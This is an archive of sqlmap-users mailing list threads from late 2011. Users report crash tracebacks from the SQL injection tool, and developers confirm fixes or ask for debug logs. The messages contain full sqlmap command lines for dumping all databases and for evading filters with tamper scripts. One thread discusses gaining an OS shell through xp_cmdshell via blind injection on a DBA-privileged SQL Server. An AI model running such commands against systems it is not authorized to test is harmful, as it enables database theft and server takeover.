> posixCommand line: ./sqlmap.py -r /root/blah --level=3 --dbms=mysql
> --technique=eu -o --dump-all --threads=10 --batch
> --exclude-sysdbsTechnique: ERRORBack-end DBMS: MySQL
> (fingerprinted)Traceback (most recent call last):  File
> "/root/tools/sqlmap/_sqlmap.py", line 83, in main    start()  File
> "/root/tools/sqlmap/lib/controller/controller.py", line 588, in start
>   action()  File "/root/tools/sqlmap/lib/controller/action.py", line
> 112, in action    conf.dbmsHandler.dumpAll()  File
> "/root/tools/sqlmap/plugins/generic/enumeration.py", line 1820, in
> dumpAll    self.dumpTable()  File
> "/root/tools/sqlmap/plugins/generic/enumeration.py", line 1772, in
> dumpTable    conf.dumper.dbTableValues(kb.data.dumpedTable)  File
> "/root/tools/sqlmap/lib/core/dump.py", line 463, in dbTableValues
> self.__write("| %s%s" % (value, blank), n=False, console=console)
> File "/root/tools/sqlmap/lib/core/dump.py", line 59, in __write
> self.flush()  File "/root/tools/sqlmap/lib/core/dump.py", line 69, in
> flush    self.__outputBP.reset()AttributeError: StringIO instance has
> no attribute 'reset'
> [*] shutting down at 09:33:24
> Traceback (most recent call last):  File "./sqlmap.py", line 20, in
> <module>    main()  File "/root/tools/sqlmap/_sqlmap.py", line 127, in
> main    dumper.flush()  File "/root/tools/sqlmap/lib/core/dump.py",
> line 69, in flush    self.__outputBP.reset()AttributeError: StringIO
> instance has no attribute 'reset'
>
> --
> http://volatile-minds.blogspot.com -- blog
> http://www.volatileminds.net -- website
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] StringIO

[Miroslav S. <mir...@gm...>]

Hi Iago.

Thank you for your report and find it fixed with the latest commit.

Kind regards,
Miroslav Stampar

On Sat, Dec 31, 2011 at 12:37 AM, Iago Sousa <146...@gm...> wrote:

> sqlmap version: 1.0-dev (r4640)
> Python version: 2.6.5
> Operating system: posix
> Command line: sqlmap.py --url
> *************************************************** -D ******************
> -T ******* -C *************************************************** --dump
> --tamper tamper/space2comment.py,tamper/randomcase.py -v 3
> Technique: ERROR
> Back-end DBMS: MySQL (fingerprinted)
> Traceback (most recent call last):
>   File "/pentest/database/sqlmap/_sqlmap.py", line 83, in main
>     start()
>   File "/pentest/database/sqlmap/lib/controller/controller.py", line 588,
> in start
>     action()
>   File "/pentest/database/sqlmap/lib/controller/action.py", line 109, in
> action
>     conf.dbmsHandler.dumpTable()
>   File "/pentest/database/sqlmap/plugins/generic/enumeration.py", line
> 1772, in dumpTable
>     conf.dumper.dbTableValues(kb.data.dumpedTable)
>   File "/pentest/database/sqlmap/lib/core/dump.py", line 463, in
> dbTableValues
>     self.__write("| %s%s" % (value, blank), n=False, console=console)
>   File "/pentest/database/sqlmap/lib/core/dump.py", line 59, in __write
>     self.flush()
>   File "/pentest/database/sqlmap/lib/core/dump.py", line 69, in flush
>     self.__outputBP.reset()
> AttributeError: StringIO instance has no attribute 'reset'
>
> [*] shutting down at 20:33:48
>
> Traceback (most recent call last):
>   File "sqlmap.py", line 20, in <module>
>     main()
>   File "/pentest/database/sqlmap/_sqlmap.py", line 127, in main
>     dumper.flush()
>   File "/pentest/database/sqlmap/lib/core/dump.py", line 69, in flush
>     self.__outputBP.reset()
> AttributeError: StringIO instance has no attribute 'reset'
>
>
> --
> Iago Sousa
>
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] StringIO

[Iago S. <146...@gm...>]

sqlmap version: 1.0-dev (r4640)
Python version: 2.6.5
Operating system: posix
Command line: sqlmap.py --url
*************************************************** -D ******************
-T ******* -C *************************************************** --dump
--tamper tamper/space2comment.py,tamper/randomcase.py -v 3
Technique: ERROR
Back-end DBMS: MySQL (fingerprinted)
Traceback (most recent call last):
  File "/pentest/database/sqlmap/_sqlmap.py", line 83, in main
    start()
  File "/pentest/database/sqlmap/lib/controller/controller.py", line 588,
in start
    action()
  File "/pentest/database/sqlmap/lib/controller/action.py", line 109, in
action
    conf.dbmsHandler.dumpTable()
  File "/pentest/database/sqlmap/plugins/generic/enumeration.py", line
1772, in dumpTable
    conf.dumper.dbTableValues(kb.data.dumpedTable)
  File "/pentest/database/sqlmap/lib/core/dump.py", line 463, in
dbTableValues
    self.__write("| %s%s" % (value, blank), n=False, console=console)
  File "/pentest/database/sqlmap/lib/core/dump.py", line 59, in __write
    self.flush()
  File "/pentest/database/sqlmap/lib/core/dump.py", line 69, in flush
    self.__outputBP.reset()
AttributeError: StringIO instance has no attribute 'reset'

[*] shutting down at 20:33:48

Traceback (most recent call last):
  File "sqlmap.py", line 20, in <module>
    main()
  File "/pentest/database/sqlmap/_sqlmap.py", line 127, in main
    dumper.flush()
  File "/pentest/database/sqlmap/lib/core/dump.py", line 69, in flush
    self.__outputBP.reset()
AttributeError: StringIO instance has no attribute 'reset'


-- 
Iago Sousa

[sqlmap-users] Whee, more trace

[Brandon P. <bpe...@gm...>]

[09:33:24] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4640),
retry your run with the latest development version from the Subversion
repository. If the exception persists, please send by e-mail to
sql...@li... the following text and any
information required to reproduce the bug. The developers will try to
reproduce the bug, fix it accordingly and get back to you.sqlmap
version: 1.0-dev (r4640)Python version: 2.7.2+Operating system:
posixCommand line: ./sqlmap.py -r /root/blah --level=3 --dbms=mysql
--technique=eu -o --dump-all --threads=10 --batch
--exclude-sysdbsTechnique: ERRORBack-end DBMS: MySQL
(fingerprinted)Traceback (most recent call last):  File
"/root/tools/sqlmap/_sqlmap.py", line 83, in main    start()  File
"/root/tools/sqlmap/lib/controller/controller.py", line 588, in start
  action()  File "/root/tools/sqlmap/lib/controller/action.py", line
112, in action    conf.dbmsHandler.dumpAll()  File
"/root/tools/sqlmap/plugins/generic/enumeration.py", line 1820, in
dumpAll    self.dumpTable()  File
"/root/tools/sqlmap/plugins/generic/enumeration.py", line 1772, in
dumpTable    conf.dumper.dbTableValues(kb.data.dumpedTable)  File
"/root/tools/sqlmap/lib/core/dump.py", line 463, in dbTableValues
self.__write("| %s%s" % (value, blank), n=False, console=console)
File "/root/tools/sqlmap/lib/core/dump.py", line 59, in __write
self.flush()  File "/root/tools/sqlmap/lib/core/dump.py", line 69, in
flush    self.__outputBP.reset()AttributeError: StringIO instance has
no attribute 'reset'
[*] shutting down at 09:33:24
Traceback (most recent call last):  File "./sqlmap.py", line 20, in
<module>    main()  File "/root/tools/sqlmap/_sqlmap.py", line 127, in
main    dumper.flush()  File "/root/tools/sqlmap/lib/core/dump.py",
line 69, in flush    self.__outputBP.reset()AttributeError: StringIO
instance has no attribute 'reset'

-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website

Re: [sqlmap-users] Crash trace

[Miroslav S. <mir...@gm...>]

Hi Brandon.

Thank you for your report. Find it fixed with the latest commit.

Kind regards,
Miroslav Stampar

On Thu, Dec 29, 2011 at 6:02 PM, Brandon Perry <bpe...@gm...>wrote:

> [11:00:35] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4638),
> retry your run with the latest development version from the Subversion
> repository. If the exception persists, please send by e-mail to
> sql...@li... the following text and any
> information required to reproduce the bug. The developers will try to
> reproduce the bug, fix it accordingly and get back to you.sqlmap
> version: 1.0-dev (r4638)Python version: 2.7.2+Operating system:
> posixCommand line: ./sqlmap.py -r /root/blah --level=3 --dbms=mysql
> --technique=eu -o --dump --threads=10 --batchTechnique: ERRORBack-end
> DBMS: MySQL (fingerprinted)Traceback (most recent call last):  File
> "/root/tools/sqlmap/_sqlmap.py", line 83, in main    start()  File
> "/root/tools/sqlmap/lib/controller/controller.py", line 588, in start
>   action()  File "/root/tools/sqlmap/lib/controller/action.py", line
> 109, in action    conf.dbmsHandler.dumpTable()  File
> "/root/tools/sqlmap/plugins/generic/enumeration.py", line 1772, in
> dumpTable    conf.dumper.dbTableValues(kb.data.dumpedTable)  File
> "/root/tools/sqlmap/lib/core/dump.py", line 463, in dbTableValues
> self.__write("| %s%s" % (value, blank), n=False, console=console)
> File "/root/tools/sqlmap/lib/core/dump.py", line 56, in __write
> self.__outputBP.write(text)UnicodeEncodeError: 'ascii' codec can't
> encode character u'\u0103' in position 7: ordinal not in range(128)
> [*] shutting down at 11:00:35
>
> --
> http://volatile-minds.blogspot.com -- blog
> http://www.volatileminds.net -- website
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] OS Shell

[Bernardo D. A. G. <ber...@gm...>]

Yes please with --fresh-queries -v3 -t traffic.log.

Bernardo Damele A. G.

This message was sent from a smartphone

On 29 Dec 2011, at 17:05, Chris Oakley <chr...@gm...> wrote:

Thanks for the replies.  Yes it'll have to be in private.  When I relaunch,
do you need me to do it from scratch (as in flush session) or is it ok to
just use the traffic logging options with the injection already found?

On 21 December 2011 15:31, Bernardo Damele A. G.
<ber...@gm...>wrote:

> Hi Chris,
>
> On 21 December 2011 14:56, Chris Oakley <chr...@gm...>
> wrote:
> > Hi All
> >
> > I have a time based blind injection on a machine running Windows Server
> > 2003, IIS 6 and SQL Server 2000.  The user is running as DBA.  I should
> be
> > able to enable xp_cmdshell, and indeed:
>
> Indeed.
>
> > ...
> > As you can see, no output is returned (is this because of the injection
> type
> > I wonder?).
>
> No, it has nothing to do with the injection type. SQL payloads used by
> sqlmap has been written and the core has been engineered in a way that
> regardless of the technique used, sqlmap is able to retrieve the
> queries' output.
> The issue is somewhere else.
>
> > I've tried the various out of bounds methods with BT and msf too, but
> this
> > seems to fail at various stages.
> >
> > Could it be that the database server is separate from the web server and
> is
> > totally isolated from the outside world by egress rules?
>
> This could be, but it looks to me that you're mixing xp_cmdshell/bug
> with network rules. I think that the issue here is about xp_cmdshell.
>
> Could you please relaunch with -v 3 --parse-errors -t traffic.log and
> send us (privately if you prefer) the whole output and the log file?
>
> Thank you.
> Bernardo
>
>
> --
> Bernardo Damele A. G.
>
> E-mail / Jabber: bernardo.damele (at) gmail.com
> Mobile: +447788962949 (UK 07788962949)
> PGP Key ID: Unavailable
>

Re: [sqlmap-users] OS Shell

[<and...@gm...>]

Hi Chris,

Yes you have to use the flush-session option.

Andre
-----Original Message-----
From: Chris Oakley <chr...@gm...>
Date: Thu, 29 Dec 2011 17:05:37 
To: Bernardo Damele A. G.<ber...@gm...>
Cc: <sql...@li...>
Subject: Re: [sqlmap-users] OS Shell

------------------------------------------------------------------------------
Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
infrastructure or vast IT resources to deliver seamless, secure access to
virtual desktops. With this all-in-one solution, easily deploy virtual 
desktops for less than the cost of PCs and save 60% on VDI infrastructure 
costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox

Re: [sqlmap-users] OS Shell

[Chris O. <chr...@gm...>]

Thanks for the replies.  Yes it'll have to be in private.  When I relaunch,
do you need me to do it from scratch (as in flush session) or is it ok to
just use the traffic logging options with the injection already found?

On 21 December 2011 15:31, Bernardo Damele A. G.
<ber...@gm...>wrote:

> Hi Chris,
>
> On 21 December 2011 14:56, Chris Oakley <chr...@gm...>
> wrote:
> > Hi All
> >
> > I have a time based blind injection on a machine running Windows Server
> > 2003, IIS 6 and SQL Server 2000.  The user is running as DBA.  I should
> be
> > able to enable xp_cmdshell, and indeed:
>
> Indeed.
>
> > ...
> > As you can see, no output is returned (is this because of the injection
> type
> > I wonder?).
>
> No, it has nothing to do with the injection type. SQL payloads used by
> sqlmap has been written and the core has been engineered in a way that
> regardless of the technique used, sqlmap is able to retrieve the
> queries' output.
> The issue is somewhere else.
>
> > I've tried the various out of bounds methods with BT and msf too, but
> this
> > seems to fail at various stages.
> >
> > Could it be that the database server is separate from the web server and
> is
> > totally isolated from the outside world by egress rules?
>
> This could be, but it looks to me that you're mixing xp_cmdshell/bug
> with network rules. I think that the issue here is about xp_cmdshell.
>
> Could you please relaunch with -v 3 --parse-errors -t traffic.log and
> send us (privately if you prefer) the whole output and the log file?
>
> Thank you.
> Bernardo
>
>
> --
> Bernardo Damele A. G.
>
> E-mail / Jabber: bernardo.damele (at) gmail.com
> Mobile: +447788962949 (UK 07788962949)
> PGP Key ID: Unavailable
>